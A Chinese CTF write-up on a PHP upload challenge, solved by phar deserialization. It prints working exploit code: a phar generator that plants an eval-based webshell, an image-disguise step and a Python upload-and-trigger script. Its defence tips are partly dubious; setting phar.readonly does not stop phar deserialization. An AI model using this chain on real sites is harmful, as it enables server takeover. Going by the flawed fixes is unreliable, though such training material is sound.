共计 1866 个字符,预计需要花费 5 分钟才能阅读完成。
题目环境与初步探索
首先在本地用 Docker 搭建比赛环境,题目是一个 PHP 文件管理系统。首页显示上传功能,但尝试上传常规文件时返回 ”Invalid file type”。查看源码发现关键提示:

// index.php 关键片段
if (isset($_FILES['file'])) {$file = $_FILES['file'];
if ($file['size'] > 102400) die('File too large');
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['jpg','png'])) die('Invalid file type');
// ...
}
代码审计突破点
1. 文件上传限制分析
通过审计发现三个限制:
- 文件大小不超过 100KB
- 仅允许 jpg/png 后缀
- 存在文件内容检查(未显示代码)
绕过方案:
- 使用
.htaccess+ 图片马组合拳(需 Apache 环境) - 利用 phar 文件特性(关键突破点)
2. 隐藏的 phar 反序列化
在 class.php 发现危险代码:
class FileManager {
public $log_file = 'debug.log';
public function __destruct() {file_put_contents($this->log_file, $this->logs);
}
}
// 存在文件操作函数
if (file_exists($_GET['file'])) {include $_GET['file'];
}
POP 链构建:
- 通过 phar 触发
__destruct - 控制
log_file实现任意文件写入 - 结合文件包含 getshell
完整攻击流程
步骤 1:生成恶意 phar
// genphar.php
class FileManager {public $log_file = 'shell.php'; public $logs = '<?php eval($_POST[cmd]);?>'; }
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new FileManager());
$phar->stopBuffering();
步骤 2:绕过上传限制
重命名 phar 文件并添加图片头:
exiftool '-Comment<=exp.phar' image.jpg
mv image.jpg exp.jpg
步骤 3:触发反序列化
# exploit.py
import requests
url = 'http://target/'
# 上传伪装文件
files = {'file': open('exp.jpg', 'rb')}
r = requests.post(url+'upload.php', files=files)
print(r.text)
# 触发 phar 协议
r = requests.get(url+'index.php?file=phar://./uploads/exp.jpg')
print(r.status_code)
防御与修复方案
-
禁用危险函数:
ini_set('phar.readonly', '1'); -
严格校验文件内容:
function is_real_image($file) {return @imagecreatefromstring(file_get_contents($file)) !== false; } -
限制文件包含参数:
$allow = ['header.php', 'footer.php']; if (!in_array($_GET['file'], $allow)) die('Forbidden');
新手避坑指南
- 环境配置问题:
- 确保 PHP 版本 >5.3(支持 phar)
-
关闭
phar.readonly模式 -
常见错误:
- 忘记修改 phar 文件头
- 未处理文件路径问题
-
忽略服务器中间件差异
-
效率优化:
- 使用 Python 的 requests.Session 保持连接
- 批量测试文件包含点
延伸思考
- 如果题目禁用 phar 协议,还有哪些替代方案?
- 如何在不使用文件包含的情况下利用这个反序列化漏洞?
- 现代 PHP 框架(如 Laravel)中如何防御这类攻击?
通过这道题,我们完整实践了从信息收集→代码审计→漏洞利用→权限提升的 CTF 解题流程。建议新手用 Docker 搭建本地环境反复练习,重点掌握反序列化漏洞的挖掘和利用思路。
正文完
发表至: 未分类
近一天内
